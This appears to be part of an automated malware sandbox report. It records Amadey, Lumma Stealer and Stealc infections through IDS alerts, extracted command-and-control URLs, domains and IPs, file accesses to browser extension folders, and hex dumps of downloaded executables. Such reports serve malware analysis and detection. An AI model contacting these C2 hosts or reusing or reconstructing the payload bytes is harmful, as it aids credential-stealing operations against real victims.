Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: Fwkdsz.exe, 00000007.00000002.2694689971.0000000005CA0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: oC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.pdb source: MSBuild.exe, 00000012.00000002.2924990669.0000000000CF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: Fwkdsz.exe, 00000007.00000002.2694689971.0000000005CA0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: Fwkdsz.exe, 00000007.00000002.2703552750.0000000006A60000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\MSBuild.pdb source: MSBuild.exe, 00000012.00000002.2927279861.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\MSBuild.pdbpdbild.pdb source: MSBuild.exe, 00000012.00000002.2960053340.0000000005530000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Fwkdsz.exe, 00000007.00000002.2703552750.0000000006A60000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.pdb source: MSBuild.exe, 00000012.00000002.2927279861.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: symbols\exe\MSBuild.pdb source: MSBuild.exe, 00000012.00000002.2924990669.0000000000CF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: o.pdb source: MSBuild.exe, 00000012.00000002.2924990669.0000000000CF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: Plofgcjnqfn.pdbx source: MSBuild.exe, 00000012.00000002.2945809571.0000000004043000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2945809571.0000000003D5C000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2956645688.00000000051F0000.00000004.08000000.00040000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2942794454.0000000002BB1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.pdb source: MSBuild.exe, 00000012.00000002.2927279861.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: my_library.pdbU source: 0d8313073f.exe, 0000000D.00000003.2559813189.000000000533B000.00000004.00001000.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000002.2983236159.000000006C191000.00000002.00000001.01000000.0000001A.sdmp, 0d8313073f.exe, 0000000D.00000002.2922718430.000000000063C000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: MSBuild.exe, 00000012.00000002.2927279861.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.PDBs source: MSBuild.exe, 00000012.00000002.2927279861.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.pdbC source: MSBuild.exe, 00000012.00000002.2927279861.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb source: MSBuild.exe, 00000012.00000002.2927279861.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2924990669.0000000000CF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\exe\MSBuild.pdb source: MSBuild.exe, 00000012.00000002.2927279861.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Source: chrome.exe	Memory has grown: Private usage: 1MB later: 35MB
Source: firefox.exe	Memory has grown: Private usage: 1MB later: 185MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:63773 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:63787
Source: Network traffic	Suricata IDS: 2856121 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M2 : 192.168.2.4:63813 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:56371 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:55265 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:50868 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:59645 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:54087 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:63854 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:63856 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:63867 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:63873 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:63884 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:63896 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:63895 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:63909 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:63908 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:63908 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:63923 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:63908
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:63908 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:63908
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:63931 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:63908 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:63970 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:64006 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:63867 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63867 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63854 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63854 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:63873 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63970 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic

TCP traffic: 192.168.2.4:63711 -> 162.159.36.2:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 02 Nov 2024 06:16:08 GMTServer: ApacheUpgrade: h2,h2cConnection: UpgradeLast-Modified: Sat, 02 Nov 2024 04:46:29 GMTETag: "160032-369d8-625e6bc2addf2"Accept-Ranges: bytesContent-Length: 223704Vary: Accept-EncodingContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 eb 9f 25 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 1a 02 00 00 2c 01 00 00 00 00 00 ee 39 02 00 00 20 00 00 00 40 02 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 03 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 39 02 00 53 00 00 00 00 40 02 00 ce 28 01 00 00 00 00 00 00 00 00 00 00 48 03 00 d8 21 00 00 00 80 03 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 19 02 00 00 20 00 00 00 1a 02 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 ce 28 01 00 00 40 02 00 00 2a 01 00 00 1c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 03 00 00 02 00 00 00 46 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 39 02 00 00 00 00 00 48 00 00 00 02 00 05 00 34 0e 01 00 64 2b 01 00 03 00 00 00 01 00 00 06 d0 05 01 00 63 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 03 00 00 00 00 00 00 00 07 00 00 00 08 00 00 00 09 00 00 00 0a 00 00 00 0b 00 00 00 0c 00 00 00 04 00 00 00 05 00 00 00 06 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 03 00 00 00 04 00 00 00 05 00 00 00 06 00 00 00 0a 00 00 00 0b 00 00 00 0c 00 00 00 00 00 00 00 07 00 00 00 08 00 00 00 09 00 00 00 3a 02 28 2d 00 00 0a 02 03 7d 01 00 00 04 2a 3e 02 04 28 2e 00 00 0a 02 03 7d 01 00 00 04 2a 56 02 04 6f 2f 00 00 0a 04 28 30 00 00 0a 02 03 7d 01 00 00 04 2a 42 02 04 05 28 30 00 00 0a 02 03 7d 01 00 00 04 2a a6 02 03 04 28 31 00 00 0a 02 03 72 45 01 00 70 d0 03 00 00 01 28 32 00 00 0a 6f 33 00 00 0a a5 03 00 00 01 7d 01 00 00 04 2a 6a 03 72 53 01 00 70 02 7b 01 00 00 04 6f 34 00 00 0a 02 03 04 28 35 00 00 0a 2a 1e 02 7b 01 00 00 04 2a 9a 03 0f 00 28 39 00 00 0a 54 38 06 00 00 00 03 03 4a 17 58 54 03 4a 17 58 28 10 00 00 06 02 28 3d 00 00 0a 2d e9 2a 22 02 17 28 0e 00 00 06 2a 32 02
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 02 Nov 2024 06:16:13 GMTContent-Type: application/octet-streamContent-Length: 2964480Last-Modified: Sat, 02 Nov 2024 05:22:32 GMTConnection: keep-aliveETag: "6725b718-2d3c00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 50 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 30 00 00 04 00 00 90 79 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 7a 6a 69 74 77 71 6c 64 00 90 2a 00 00 b0 05 00 00 82 2a 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 64 75 69 7a 68 73 77 00 10 00 00 00 40 30 00 00 04 00 00 00 16 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 30 00 00 22 00 00 00 1a 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 02 Nov 2024 06:16:21 GMTContent-Type: application/octet-streamContent-Length: 2143744Last-Modified: Sat, 02 Nov 2024 05:22:46 GMTConnection: keep-aliveETag: "6725b726-20b600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 20 73 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 73 00 00 04 00 00 2b ac 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 6e 76 65 6c 61 6f 67 00 10 1a 00 00 00 59 00 00 06 1a 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 6b 6d 64 6a 66 64 6a 00 10 00 00 00 10 73 00 00 04 00 00 00 90 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 73 00 00 22 00 00 00 94 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 02 Nov 2024 06:16:27 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Sat, 02 Nov 2024 05:01:44 GMTConnection: keep-aliveETag: "6725b238-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 30 b2 25 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 fb 8f 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 02 Nov 2024 06:16:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 